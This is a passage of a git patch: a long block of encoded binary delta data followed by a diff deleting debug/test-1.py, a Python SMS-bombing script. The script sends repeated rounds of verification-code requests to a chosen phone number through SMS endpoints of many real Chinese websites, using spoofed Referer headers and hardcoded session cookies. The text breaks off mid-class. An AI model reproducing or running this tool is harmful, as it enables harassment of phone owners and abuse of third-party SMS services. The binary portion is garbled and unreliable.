zIuel!B~{xwBR9(ES(EC&Ip8Zvu6I_{`~K1*YQQ=ymXVGR3Kw|CQ4|iBNW})!M(%K_ zG&V7wzG~*C@vRB^7G1k!*4Ii69`y-i>xWV@Nlu9^-iPS_jQN@B%+KuhH5#DKsc&=f#y_S z?4x`Dkaj}A2b_)TUdg^UH*X8H?zbj8h*Vya7|iK^ zkwj3dfm?@;=n;8-k!WP8dqq}Ukemc*R;CCtYI<&!KpaUToDcR{0(s!fRUF(LPlGQa zJiNw!xVR8n4)>=w(7Y0OY2?;-39`)YmfG*!HF~4EXNf#V7kMReg7xh3($d8RBYJK7 z$;h?k@ujEB)A;{V`RU1(?Q7bV;_NnFmuDkSFK2vrTN&oG4}wT`pw*9g$pBY@<_IrI zi5vrcNxn!hI5NQ&F*)i5?F33g5%0PbOz-EB457ewD47T#Qq?Lz2r3pZCZGQd4dsqG zye;fE)oAbXOYV|e=#!Q8wAvF(`6al+z&=O!su`pCEfggb4a=?F?QJZUQQkmHCLN7Q z$0V<0c5b})e4xp>*JPs|k~rP}51YY2>pAskw^--iP2cX;wY&9f_g?h>s56b|V0xzi z2c25QE#TYqe~%t$PFQ1_x9Mtxs413fC@aBYhJfli?!_W@2r}A$EX-(iTLR7h0gC_k zo&5Kn(`%>SHB>zHO9^a|2ZCk;}JL>f#VT49)aT#I39uH5jY-!;}JL>fv=|# zsC2dwbk%#R<*nu%HfwS#a z&M8mU+0G_fRqlqphc9*p#eIl zJQHg2-{hc~hfO<$lre zK-apx1#Bg=e^E`tOlJ*)_ZHdx@)jX7ED6^nJhSY%75RS(l_68f!(Tf=h=a(HVxUdc zRjD;tQ{j~K826L${r@%Zmgm#g|!S2EtqjLm(vg` p0@z3{rD^$C4w0f*G;bsmVvdaA+G=%kiyA=D54=Fa2Uu5K`G07DvCsej delta 17669 zcmeHvXLJ=uwr=gJKHYsXB4;6TQbH)8oFx!K2_Ynb0zyavltmCAMEAh~Y=UURb^?RL z*v2F|V;h`v0tXyPV~_2@*uaeA%oyJ8a{$|O-+k}SUGv_0KOW2LsJg1Vy1Tk+@BMxI zE3Y}_w`Qlhd7upE8Djxm!{Rxd@2BVkglbrT`|s`_+!x$myZ_`q>Hf(5uKP{* z%kF30Pr4sbbu~)4RT(e8CwIs;%gdIjd@-e~9ZMxgOmn8%k7$Db5f&O-vw{}>P9bA}l^2G8M({qc^wV6o7~48?+D{9Z*H zG(=*04E}ilAP*Xhoj*YkFCB#a?}1X@GSFD{Sqsk?fCrxz8N9eZzV3u#p41N)rb7~M z?u+Y2L9<-ghi)Hilph;|JMV?@^32|J9EfGBM6TS>i^`SQ-3u1dy?T1@<+np1&-BCY zr96{Y_AnOgspREuyyGY@=b0|tumv*ZxlXz+0e4tMF)w!D6DpK&o85ThiS>$Rw^28P zFyR`wPSKoJI`GF~=lD9lQboC+SgB|^io`r4yl3EyOi1PBGG6*hl=Br9Ea}BpC|a0A zmo35zPl$9(ya597vGouu*9y98p|Rs)5?X7-2%f_6rU;&D0jgetevgYGIOHke=%kM~ z#M3~(gFVyecc5n+{r1z%`aXIY{r1+Q=(nfdhko5!3;jB^RQk1P{pnY2r5`1Se&mtd zx`Vlu4xocU*7J@Qhhksu8e;G5e9Zcg?K#^5$1Cc3rNcVb-CH`K+-Cp5HQe^$U`MNL zm*2N#Su-pn*(Ip5FW_!c1bOfrNu%n)_dt<6s8!PHz*zHHgFG-((s}_NdRnB&14<+<67X#&6w3XRB~1Zr zNQb!o{aPfg25Q^dnp&fSgVmqlW6w@1B+UtN*by0PmU zh{MCh;zgNVPqi+5>UMF9?OH1OH%nSI;L#Kwfgjxm5kptn4zfOtl2&>34)v`yjdW(O zC_(SPc!Zd2386#Da9rOcvkg=nhJHmby$7V)?di-qOVR>4)egW-c4@kmnX9!&pqPtm zZsg-+xWiG#CSiT46eLlD-S{?Ooy_)7(Tbrjh}=P8?2L0E>#a?dJiWO2lJt%>E#?DQ zjEx`U*%wmDad}Y9wP5S%-ovu#ronJ!5e+fV@vD@ylq(%9Ted7{abAH#jrGAx zTB}=vTdN!9x7N2-HO{Y2SlHUw(3C>W^D3(r#f=Q|9{YYnCr=I!4UY;74;@|KIInJT zbzEsvZDT|ATzG-*G8DVQr3*6nQMo^sh6=-0O~sixk`@5iMJ5 zmA}rb;Ue4uk^D#M?w|fGHJ-gDupf=_mG=z|3!NM^Z^?=k(NQ7Bvk&%B;M?Vr*36Cd zku5U(*&G_9!c%Cy{3>jhF~>6>t}&kVR4ed$wWMWne0BuPHsb!QDC~|7Nn6Ry6+GC8 z&X@xOjeyK^3eyWDZH%`%TY*68e~I<#Dld|m!f%34(Z0xq+%H!T_}<1Nes<0hK8!flOfcSVZ0r(NP$Pp7H-_$IbQ); z>m})9j61?+85Lns3XE)`dCqajUtl4J{zhnc0S9KB3{O+orj?S`4p`QUFI6mBw&WSa zap!6tjty_a77ouD7oy*jKk_bIJiJIWDCL?W>3(4N-J{ECsgh;~yg7m=$h?r&0~nvg z=Q;w%i=r!E$awt0p(@*~xg^~mj3o){DyNzAWF)(px$kfXx^8ieaBgxAc6{cz*HPdY zV&7-axBYC}ZJTQS!n)czOnqN%Qx?iqmJ;a`X`PfVE{Ve;N%Y~*@auUT?1BE&Q9JvN z?UMgyPL>8TPsYBix&BDKD!AKdt)_O|1k@)dO1r}>=dKN?bBo6KAQZ{F| z8s}b^YGL~#MY9q5QkVh@W=h&PZX9`K28S8O53f#;Usy$>#Ifmfu~Y$(C}{$W6I)^+ z&sg+&ngZ{8t(Gy&h=V4h+{jhfE59+WKGXE2V^Ynai%(2?BCm~Z6DaCSmRNI zu6$Q-=T2v+;}b`xW03ui_GPwHw(YiT>s!`J^&jfP>M~VP-cXjyKgzes#g?s>ROyoR zq*NzPiH#zjKgZX@-{1hW!#MUXyS1x1mPh7nxjRyxIfKHhK+HP}x$=x`DhJ@s^L!w_ zQbvJm_;ll!ec?Pa3y-|RGlk}yW>lWpz$2y_{}>!0ugIj++p&1OSjuN);08Z2gXgB> zZSx?H%V~!5o@;q-s&V>IE>BLu*LFj)oRUme*s*yMB*-~QR33pB--j%RmXt^_qvDN8 zj9nT1@!V_B1IIkVd*bYS#cH0IfX*`_k(b0{`T$f{dptOZdz{e5OXshn*Q> zjy!EF^)>*ZOiJgo#~A$^XUjRGscHm%eI3u@MWgU+D=*6RnT2i4{iu71>o4RRb~_e3 z9QHTty1k$6b=x(zk=D)XTWX1FQ65z~lpy(2In%P;k|_OE+919WJ4BY~$q(}~J_ufC z7udG0=5$`%ic@<^#X>7;!Belp2Yf~|ZtW@PwVTY>Hchu&)=0%9ToWfsB3>QOq-eRmN5P5R;B09$(sj~ z<3t6|s>LU^Ll%_c<^y7mqK#cZsG<-nBSj**qlG_y0+6O?e$`Yx1}j6w203>=T|Npc z_K4{`yUIB6bvBQjhn3T%NS9yx}kKH1#sq?8UUW zynGJkEG1BrT1uTc@r?+YnA1v(mljTw>x!wW2ya*|s^!etRPKYfbwH{dUqofV#!iUl zWwY?DuSFS;EyS1R6YOc4Np01p0T-Tvg2z7W%ijae@-gTmu|`hFqefx+M4p+8OSVF0 zjp^nmvKmJJeF9HFhxDk_AdM2o+%LM@U0=BFU>C6*ozsG=H?jsjY#6qX595oG7Rtr@?sJ@=_`b?Q@%n7`=in0 z`y6Wd5CdKkxnc_Y#8-%7pP7X`&OY~6Km_`~B=SW#`;+g4$?RiaA&hKH%ma)-d z88@0v_BM{649I6snoEC_85%Bj2e{sLEqBSzhn>2!hhx8^*3rwp+E!)jWgV`5qUy>w zO0#^Y)3E3uPx7JKB0bKU)&{#aVrQ+LpyppI9!J%33 zXm1gOUq2~aB3`rN#S1)M(k+_$*y>_o0aeSQaGiMuVOfWGS!vf~x@H-6KLzo)@(@JQ zcc(6PWkHvirAc@pPs~zMHIv_PqIM&vK(}7w=zLs!qhxC)zwxWN>!s@bG$ygNG&q=$23!#APE_6b!S za`4RaB8`LHyN;)@54?XP*=c;{O?oGG!FwFe-uM2U%#M5ihOu{j_9dKsX%@(ee1S8D zLX!;p)YEJOo}WU&18l&4lOch_b$E0jOp;-(iBNH8f3h_RgP^Ajo+)Ap#|@{%WEphE zcp&bIpy|Ca0$g&757Bu8pJc{hZJ^ofNW9}?F%|s>@R2fmp4RAD^O9lM*e1v(%s06W z&i3Huo>=U(HEb$#dB?^@s*?OZN~IfK~ajw1Vu_7L0Ww#Bw^>rrb9 zTWPhad)2YZ_41eUUb)b6%Cf~0A^jxX#g9|)@F%eXwsbX*OEJ;?mAI@nJg8<#eO*&^ zn|C3%);2b^mJ{Dn-cnst*V~rDvfbgKaK~Up?5vC z4b~~pNmz3wpsgR7MpeTTfl@M@!-tz;Hiy&L0eqp{;l<-VB5kUq^#N?(3aPXR1A?SN z$!l^?yaG`iBJu8EsZe~J&4 zVVQS=ym69G=Im|sbMT$Y5pAfXCxG$ku&FpiPzb(|tc0%MMi&J?2`-)~Ln|?TQ}A>X z&5Lq3C&0J_Z+7zq3N)2TS{%pCEihYwMjzGKq3|+GaD-@vE&C@~rZ1DUMod@=vvKHB z7$i4%U4-!(5y&N2whRn~U8D7o^Z-m~C(C8Rb`^$eg_382cOc{OVu9#Vpx!qaW+&qQFbH4kgs~hR#{F%OB14Vo;xTavHGKapjN$Ym zu}gqLgYmd#2_(wwVeiQPI3A+rLAB|sCbDJB{UEujuU&gxOI&fz51i8-XB=(zllD=z z6E?$EWMkGBtZC{6b%FA>vQ~*xn7mJ}m4}jD+Gv?3{U|*ytq^C#ev!gI;&t2~{tO1h zu)El@uB3kQI4xDMV&iYGj+V6EWGnag=QoK$Eg7>u6NSYEnu$y%Ty{Cj>K4=m)yxkK zjS3}Btg0cnrn)V+vbA+tW6S)Y%7vB76HI5)P+5PK*c;v08dn=Wy1cces&0Nr951z(c-A4;8&Zc)M>F)Q-oTK zNWdFwVYD1YMYimUf0s0e7L9XT`HdomX3CL^5R)FOMG4mV-+qN$Es}0I3X|6H>Ewzd zuxl9f#x)^?3+El@y+oE4jnXp`u`jvwmOlB1bm zX9T`JR>T`)2Rh|wjS$aDZ2pChr@6_UqmkfI^0Wzb@)*p!K+IZ`B>F3>wDDBaf$%8rg^5$7YI%w_ z&IE_wJ_>ztjh{43nMwS*33;cy!b31}KMbQ&##}xnLS$;Aaot3UZc^#}Uz{P*M1(dH zgP(^-RdVVh=-y+nVmo~a>rt4Yv}(htuSK{aL>h@rp;7?8v7L_><%FVl?T2#naff*y z_lkec6;~gu;wcti>T&>Rg=P_%(>>nm0qgZw0#M`XOLsG z!N$nS7!gK(D0qPgBMYt##MjdZu4NG(bRFbb={6X^2C$t>`V&QR@2ZnwyeL*yvz_t_ zvfJI_+G#mxndh=QRR`Fgp~bb)7H2(cMQgFuDuVbMd_A8G_pp|(<{;uM@nX9eFPTIz zHeUxB*ke5e_I;Py{rX%r+x1OBD~QSUo?xtB9;CpB>Na?I5O%kU71%UXaw+hJm(uj6 zsAyIlSS6C+dYslK2tcG80pIXI3Lf;3GhX9mi_M-F;K(;2Q(-@7QIdZ7trFIOKi>R2WGn1$ zZL&mps-zp~Wv}L`ERsoon~#yUZ3FaE*!N_yS^+nVf_k~H4>H`+Q%r+q{PI0Q>FgkW z`wkE@JP9L@LyiJ5xso;lyu=42Vb(F&s<6G<0Eyz^++&dMjfXiiFy&oHP}n-%BCWM! z$cK=P2lm24Dg@{ttrZ-P?% z2F#i&n`vf)Ob7m$d!;*$4DCkOROh?SYn^G1ZpSkFF?*wZuR1>BD?LMilN&tu|d7@(wSEwn(~ z=zM`kd9?_$rCKXPbcz5k*h7lfUm_2%cQVe^1@WirOs+`RS!Og z8tFQ3V|cE%;Bs+tu2yXpb0n&q?<+;-YE`~cRIWDf@`)iiltT4BFf~_Pt_;m3qwVW+ zQjS*UYY)xQ=9;A(ddE4ws*qf*)Ys#bT&=`cqB|G+N?|$LY~Oj*Ns+Ha=gso9QeC01 zj-GI)ua0g};H#te%=gx*A@enpCCD~y-avf2RzzX^A?_l;t>v1mNj6qEc&>=la`4rY zJW|zqXvF#Hqj3M5^i3kagZ#1awCsqW_>Bo_A{WcCc zilZh=6Y$o_QV$g#BBZDH;do>OU(4Y^V`V@C?8k*q!%Yh0nbBkzmOlbpu_s|3*Zef0rv**RGFP8)8KEo zCdBq=X_y~3y7Fq|x)(2ujdQ{ZpGXQJX8iNVS;i@3gUgSu{WP7!(cOaU{>_Q{o%Zrv#;?; zAYa5G3XgmYYo*eyg^m>2ZNpl+aGIp3QuzRC_lJzn2UC}xLun2p8#X3OkbLL^Ce;3;CI91GHA zNT8hCGV?gW3&K@)t=3P{DF&~21iBW(6E=2=Y~H=hebAldwz}?f^>@DLTSai)g+G{1phP@!wJLQgYnPt2-k1f8Mf7|OO{!eH;#YnIUbol zb$)e28^yoXEpZW`n#lV%7UI7cq_FMy%=0{*v%g^WOMJEkZ1JKKXTQv&IoyrMU*?6J z-G?Esa!L^1S>T1JCOe$ckVM(Q-`;P*(xnlR-l(XusmVvnSJhTmE%Na=`PDW56dl1` z=zfE*

6Tzh2Cf!5Jqy0dIR2rV#R2eK#*u*f}4j{rGNPYMDc8wgxZU!=v!gdw7Hl zySyrmHTUyCSb_V^KYj4{{hXlP2RyEf2!mlgtTTqG4|{Ye9gn774}jh;VX`FZ#NHa@TO0H z^@*MA8#A!EI!6B{pu(Odo-yIS&}-*^hJPxns;XOCXSO$0$Aylrs%xoQTs`$N5DEzi z4+o$b@L%ZvKk1%5Zo);Hh`8lD2v^{!FPt({9hT9Nq7{rwgTv&hK0c#tKO}OnVC*`c zr?SV)bomgDm96}Gg*{=K55A>ui2^%mvRMHA&WKnt9-B9k#tWLaJppOC%wtAMBiM3A z{Cbx=*tNoWi!<5rrTr)SetS7-gvMBhs;{bbYH!N%OjCq>vpiF_TRya`wnR$bNt>mq zq}}?4Qg3&{2=)iIysLSr5tk8Soxq4}ZvPw6VT9;AFGgG86TpcY<5`}tC zJeVvMs#>G&M|5M=Ke>3XVHQPt54_Na&$h4D-NYMuy*M_11V1RLx{JDX;?Q1@s8s4s zI>6BV$#L&J?R>b{VE0LrtCRR)mwYqHF+*vD9brOB;C*EM1PNFYDC1vrDPA@KS z@#kWN$k#a@nkwbj%%z}~G-p@r%fCLC|2LB^Unfr0j40oNM2vozyHsLxiBu(V(*+w$ z{GEcp`hv9>15>W|tQp5kot&h&I`B~|(1 z=6osC%lE6=B5ehIwNk8@#=j)uq@CKsF*rt=Nf>lF9R%WxH+d+wuja$VTyk9lOZahB z3)Pm=&B+u!A*#Ljgy7^7+~qIIMX1(>=MIQa5k<&ob`+1Qv$1YAoYgU+@r3(+$6Jo| z_WSL%_6fE(Y{RV&S_`e99#U)6f$j`vv~ol-lyUMG@^Z^Jmd7k*(jQr!^GTYc@sbb+ z;WO6lzRz9a>~I~U3_*aKvv5(*YiatM|IjgBkdJ-V8AiFObN>*dap6VbZ!I%JAoHtX z-dlXj@0^+nfA9&*9wTAd+aMR1aR$MbdreX(-po*7X%r9V?60_ajL5UJlT{souZO0u)%+w)*Kud z93*OGxHndGkSK?e!Y~EzcZf{Rp2lJj(=B~XQ@V|dWIPLkFlsj?a;$)F?S^0$)7|RZLZTXc6PALC>5n`+C zO|4w=Byb#BLIf83aqFWZS%I1JNm)g*us3+QGt$|?6dHNoyT17&kCovSR{)F0p}&|E z<;ysDoR}}ei;Tf&%>7y9DKKO%F@}Km{VZk^2gWI(fqCaeEH>3ch{YR#px+!3v2~Le zCBrwA`U}MDH~A!Ug8JvOpL~{3XYPmGV_lEA+MGW)?{h{uPCIl*oc(*-x3)Ppr*%2a zxV>tz@{|0nyjw1^%(O76Tbdxg6x(UIZ{~$?90J)nrgt?@77O(#e7Q(0lw{gnbc-e$QhDg#wFwl=D zD_kdPimcw%#EY1&2N}xg=}MkXtQ1jCq-x7nwN9N_skP!)OfGVXu{uD&R7uiJMoPh? zB@n0TvObPZ^fQf4E`2x|HcU5mMR^Y^dd#s^-#(jM4)zv7HhCCYehK0X^WcXJ-ikN}5hY6a^&o z7z4dLtdgwzQ;ikR-7VskIr>mKh(kgh1MvLAB0-s{lQ@}XK;F-UrR(*B-|rN~Vy<3h$UOa6Qz?5qg$jtw!aVzQ)0|LzE`nMBmlhp5$R(5t%5_r{X3X5S|RxGx6+4yj!W& zGw7T`BPn#+6{({#OHZe|P^yc%s*F@MSx=+q^E34nx{{@*(kb-mM-X7kEdr-fuBT8< z3g)zlQkCWzDSL>fx;(945yd(ov-_b~o}wobxTj}~P|9?Z`A#y^q`ghVM$0W8-@F$x zM5Z2xr+*~UHBFB-Hr1smGxQibH2`Ce!!!zmqA~tyir3@yDO3yQj2(zG?h(V{ZI)=( z7s@!_Zok$(+E!%!o|jthu=Y^bN`1uj#KiP~GJ<+7u3^q0j*lI8OV`*h$gAba>=w&X zOLSLrsmzPnili;A3*so>uJs3ZB4UR`6&E-n2w}X-fHeuXNf=^%0v~ z-zwrbti!*xizuSG?UFtKj3ZB6E87W!R|5W+3JYntx;}%4WO$1)G0m%!=Fo-KRDMWC z#w>@(oNs|ti)$W<4RL!8q3yBh+|RPb)T*ME$(R*Un}MB&tre{ z`qQgs&?IacTiSyD_1rhR(aS9SwkIz&Vsf_W*s)R&VqA|WTEvEb=5GH3Y5TImuJghN zGcis=h9XkW7J*L?Q%s2fz3Qr#yitZtrZ?YO4j~F`BtJ$1b%kV7a+sIk#JPVYGBoIG zctF0;)4qHW!_V-@ z!AysGvv^yS9y&3o`Y6Nwe1b32r)B8Gpn7^;k?)8ceIb6*gA-3RUavC-&)cnPwR$a` zQizWg!RO>KYUly1c%YM9NX~XXQiSUZ5RQp(5u;b*cjF<3*0?FLN;03=-=hGIU=8;Nx($~B3oYEKx7>Wy%#}_WQK?6U&AT$|2YO!5lwV_K5tdvvudxLe)AEM zoWUncNjgI68=huH0vtwROd`LQ!&WRyCZ#!q`$&do_nAtC?PfRoI0+QI-IXoit!WVE z4H&Pk_5Vij1e39@mXiW{1Q{U8kyG%|-^d*@5wdVc9gpR33+64P*a>d-#m&!*B}{$x zgm7`#hUe>vBY~SRv4LMJ8^7*}f#J9}fut8im;OCWWGD=MZ0A)Kpa`9`2&d~P+?E`GU({ttV3g-4PKd{Tt|G^h332=8kcVb5=XUNZ@;` zqtGGTtL;g))3()=kvn8fQs=q8hd0^juB84lDTZ{xjn2a>W%$ZM?DAlv}G6c|hLc4D|UOr%{{><`#c0%w$GyzY(vy82X@N6^(naO}#0Bu&;|L_R0n zF#Tsy_`k#rNiw_1o4z+uhXODA6cK&{BvM2?U@9O?tVmt$!NiMVs>KTzapOfXUS``! z0?&($Rk_z{0b0tp<$E2HSGUe`p8x@#qlDga*!S()K1P60EX)l7er5cCb zD0<6q$h(GC?Iz{cfePVNpw#rL#Qz@Tb2yaX4|j?(6=rLRl1Bh;`U^Y>Wmvk0u;+X) zIoiEPB*@_J?S;yNyfFqRsCe)mF-wN%tJ}650a~(&I=##2e-b2*GykFo^2#w<}Pp#aJ}wA*Cgl7 z<2q#~jn_1-4w9M5^yW>T~L~>Img_WjZBun=B7n8Z05wS?OA7D#7_DDO8@wALkyP z#5o*-W+1+vZR~2Eq$GL>f)MRf89*d`m}jhU@qsX<#xsU03vfq}h{Q!fVxpMp8I7O5 z3{yq2XB0lO6_Q1)XQVM~RcvO0$3z{%e0joOCRzQja!v$M}d)yGLG4Yg_mZyi&)oYfj z1$&5pqX>s|d$HzjxkegY7e0NO1YsVNd+Uc6ra&5jMGx_A1QyHwNb)cWaCTFk+ha#( zj`*vjsU90zZ{^p^u^uZ)IIy`@Oc4nl6{B8-1QG91jGc$#RjsdwB!_w^ZahwTwSAq0 zGv|3MbdRZ|pe&O^J(6H`M%Uv(BFiH%!H)o2q=)1BQzBBC=`pFcKy20^R}^>{?n{S) zNYlOcSN1aZr!PaIiFNbeza%OpluCNK4#0*zHs)CcSol(%(pemyEoQi^`;(Poexvw!eU7a2V-#K zOnD3`yJ!#RroWST<+TH1xLngLnVTtT|HX71c7_j=ms2bj;H~g&$dI#%mLjwg>c`_0 z2=QsB7u+I}rbDbR1m45kFSwVwhZ4S?LxpWo+}3q3?jkq;(rBu~lmOrV27XgX)IUgM4SQ&TQ)3R%P4x43PzYoNq&kn*4( z+sE6wZ4H#$IAh&o4OQn*ZX;CwPVSc5Nc#IQZ5sTUoQx_CiM6z4(BK2%RhSAr*gm#~ zHb4)U;AtSsefh)xhpnXL9zrHW99(4@BRq?V#XvKgX68!$Erd#FlVQL|?aB<#LMjK~ zfpa|8G%I4Mr_Lx_wN!L^YK@hLJC(&A6Ozm|p1CpI+-fIBcovv_dCg9yr<&UO7y~Y) zlHHt--2o6!{dJQ%eWr38-CHvK zP8r^wDWYj5%*DoXk(e0mnM0B`Z!|z2@n4j#RuQbf@d%$!o~nfApzDg$oqG)yy6}8f&llq!j_5dZ-Lv)npG@4#dq-UFn=Lb?6XQ_u+ zDAL?`ciWR>YobbHkWbTh?yuW4Xa(otjo*<7dx$5Oni3F}@jBzJOChQ@#FOK#@!Kfs zj2pkBnotjsQ+mx+KQ|w9v$>PPG*31ruHZkan%y&<&KQKwTZzAz@t~OORep*2o-BOx z5ix&~>1_I_W6Z6pF|?t%$kkUJ<2>rDb@q3>?r61tX!qC?NIrbPw%GcOwLv|qF6?gp zUcm<^L6Qvb{VO^IY@H%alG*Mn!h|$j6)lBZdYN|A6e>*c3K}_k6n~(M8)x64f1K18 z6Jw-Q?2e{Ve5@1%3f9L;1uAf_OpDl}-{plAcG0Kx&H2m}k3WaS@i1MMe74)%!wne( zQJ_YF=PAsjjlHG}oZPmlCs*J)tuGN8|0D&wQ$5z*{IH5|rkE*rAN8c5mO}CC z?`bce$NTTGQF;G%HVTPT9e}~pq~XSpvpsOjXV4SNF7d5inw31X7EaPUO3GZ~`xSUn zA0W|&3Ge@=V8dC;_5LzP_ z^nwZ%mz9uL9g+fv%^Vf?vLOyAH~l@h4>9+l?&edjt~KvcVBbh9-C|}@`r+RKrBVL_ DddCP( diff --git a/debug/test-1.py b/debug/test-1.py deleted file mode 100755 index 990acd4..0000000 --- a/debug/test-1.py +++ /dev/null @@ -1,451 +0,0 @@ -import requests -import json -import time -import random - -# post地址 post参数 -APIS = [ - # CNMO - { - 'url': 'http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_时间1&mobile=手机号码&type=5&_=时间2', - 'headers': { - 'Referer': 'http://passport.cnmo.com/' - } - }, - # 华测云 - { - 'url': 'https://cloud.huace.cn/ChcnavCloudAuth/code/sms?mobile=手机号码', - }, - # yingsheng - { - 'url': 'https://sso.yingsheng.com/crosApi', - 'body': 'Cs25"sso_getRegisterMobileCode"a1{s11"手机号码"}z', - }, - # 51sxue - { - 'url': 'http://www.51sxue.com/index.php', - 'body': { - 'app': 'member', 'act': 'regPhone', 'phone': '手机号码', 'username': '456dadad' - } - }, - # yespmp - { - 'url': 'https://admin.yespmp.com/YespmpWeb/registerSendCode', - 'body': { - 'phone': '手机号码' - } - }, - # 秘塔写作 - { - 'url': 'https://xiezuocat.com/verify?type=signup', - 'payload': True, - 'body': { - 'phone': '86-手机号码' - } - }, -] - - -def sendSMS(API, phone): - headers = { - 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36', - } - if API.get('headers'): - headers.update(API.get('headers')) - url = API.get('url').replace("手机号码", phone).replace("时间1", str(int(time.time() * 1000))).replace("时间2", str( - int(time.time() * 1000))) - body = API.get('body') - try: - if body: - body = eval(str(body).replace("手机号码", phone)) if isinstance(body, dict) else body.replace("手机号码", phone) - if API.get('payload'): - body = json.dumps(body) - r = requests.post(url, body, headers=headers) - else: - r = requests.get(url, headers=headers) - # print(r.status_code) - # print(r.text) - # print(json.loads(r.text)) - except: - ... - - -def main(phone): - i = 0 - while i < 2: - for API in APIS: - sendSMS(API, phone) - time.sleep(random.randint(1, 3)) - print(f"{time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())} 第{i}轮轰炸完成!等待60秒后,开始第{i + 1}轮轰炸!") - time.sleep(60) - i += 1 - - -if __name__ == '__main__': - # 手机号 - phone = 'xxx' - # sendSMS(APIS[-1], phone) - main(phone) - ----------------------------------------分割线---------------------------------(xxx处改手机号码即可,本码3条可用接口)###1.英盛网 2.秘塔科技 3.CNMO - -import json -import requests as r -import time - - -class PostRequest: - def run(self): - print("#" * 10 + self.name + "#" * 10) - try: - response = r.post(url=self.url, data=self.data, headers=self.header) - print("[*] Send Request Success ") - print("[*] Status code: {}".format(response)) - print("[*] Content: " + response.text) - except: - print("[-] Send Request Fail ") - time.sleep(sleep) - - -class PostRequest_json: - def run(self): - print("#" * 10 + self.name + "#" * 10) - try: - response = r.post(url=self.url, data=json.dumps(self.data), headers=self.header) - print("[*] Send Request Success ") - print("[*] Status code: {}".format(response)) - print("[*] Content: " + response.text) - except: - print("[-] Send Request Fail ") - time.sleep(sleep) - - -class GetRequest: - def run(self): - print("#" * 10 + self.name + "#" * 10) - try: - response = r.get(url=self.url, headers=self.header) - print("[*] Send Request Success ") - print("[*] Status code: {}".format(response)) - print("[*] Content: " + response.text) - except: - print("[-] Send Request Fail ") - time.sleep(sleep) - - -class SMS_Send_1(PostRequest_json): - # 60s - def __init__(self, phone): - self.name = "顺丰速运" - self.phone = phone - self.url = "https://v.sf-express.com/portal-sfkey/user/signin" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://v.sf-express.com/sf/?switchTab=register", - "Content-Type": "application/json;charset=utf-8" - } - self.data = { - "requestNo": phone, - "verificationSource": "" - } - - -class SMS_Send_2(PostRequest_json): - def __init__(self, phone): - # 30s - self.name = "上海信贵汽车服务有限公司(担路)" - self.url = "http://www.shxgzc.com/capi/v1/company_account/send_siteuser_signup_token" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "http://www.shxgzc.com/account/signup/?next=/", - "Content-Type": "application/json;charset=utf-8" - } - self.data = { - "mobile": str(phone) - } - - -class SMS_Send_3(PostRequest): - # 60s - def __init__(self, phone): - self.name = "易车" - self.phone = phone - self.url = "http://www.bitauto.com/feedback/ajax/FeedbackSendCode.ashx" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "http://www.bitauto.com/feedback/", - "Content-Type": "application/x-www-form-urlencoded;charset = UTF-8", - "Cookie": "XCWEBLOG_testcookie=yes;CIGDCID=886c9cc94b1946269d295460a9d7262d-yiche;\ -ASP.NET_SessionId=zibw5xn2q1dywmtmqw0tcvre;locatecity=320500;bitauto_ipregion=121.236.203\ -.64%3a%e6%b1%9f%e8%8b%8f%e7%9c%81%e8%8b%8f%e5%b7%9e%e5%b8%82%3\ -b1502%2c%e8%8b%8f%e5%b7%9e%e5%b8%82%2csuzhou" - } - self.data = { - "Mobile": phone, - "action": "SendCode", - "Code": "%E8%AF%B7%E8%BE%93%E5%85%A5%E7%9F%AD%E4%BF%A1%E9%AA%8C%E8%AF%81%E7%A0%81" - } - - -class SMS_Send_4(GetRequest): - def __init__(self, phone): - # 60s - self.name = "澳门航空" - self.url = "https://mp.airmacau.com.cn/sms/code/86-" + str(phone) + "/en-US?_t=1581701618" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://www.airmacau.com.mo/", - "Origin": "https://www.airmacau.com.mo" - } - - -class SMS_Send_5(GetRequest): - def __init__(self, phone): - # 60s - self.name = "Ac Fun弹幕网" - self.url = "https://id.app.acfun.cn/rest/web/login/sms/send?mobile=" + str(phone) + "&type=6&" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://www.acfun.cn/reg/?returnUrl=https%3A%2F%2Fwww.acfun.cn%2F", - "Origin": "https://www.acfun.cn" - } - - -class SMS_Send_6(GetRequest): - def __init__(self, phone): - # 60s - self.name = "乐教乐学" - self.url = "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=" + str(phone) - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - 'Referer': 'http://www.lejiaolexue.com/', - 'Origin': 'http://www.lejiaolexue.com' - } - - -class SMS_Send_7(PostRequest): - def __init__(self, phone): - # 60s - self.name = "中国营养学会" - self.url = "http://user.cnsoc.org/Reg/_RegHandler.html" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "http://user.cnsoc.org/Reg/userReg.html", - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", - "Cookie": "YqMark_Web=W+5fOFaDuY3eWX3B4ESV7/Ghp0XqMEEx7A+i3rWUk9s=; ASP.NET_SessionId=sovzh3t24evqr4hftdt0iwv0" - } - self.data = { - 'action': 'phonecode', - 'phone': str(phone), - 'post': '1' - } - - -class SMS_Send_8(PostRequest): - def __init__(self, phone): - # 60s 每天三次 - self.name = "四季教育平台" - self.url = "http://student.sijiedu.com/includes/sendregSmsCode.php" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "http://student.sijiedu.com/index.php?m=reg", - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", - 'Cookie': "PHPSESSID=9kcui76v7g500hh80b9l4m04b5" - } - self.data = { - 'tel': str(phone), - 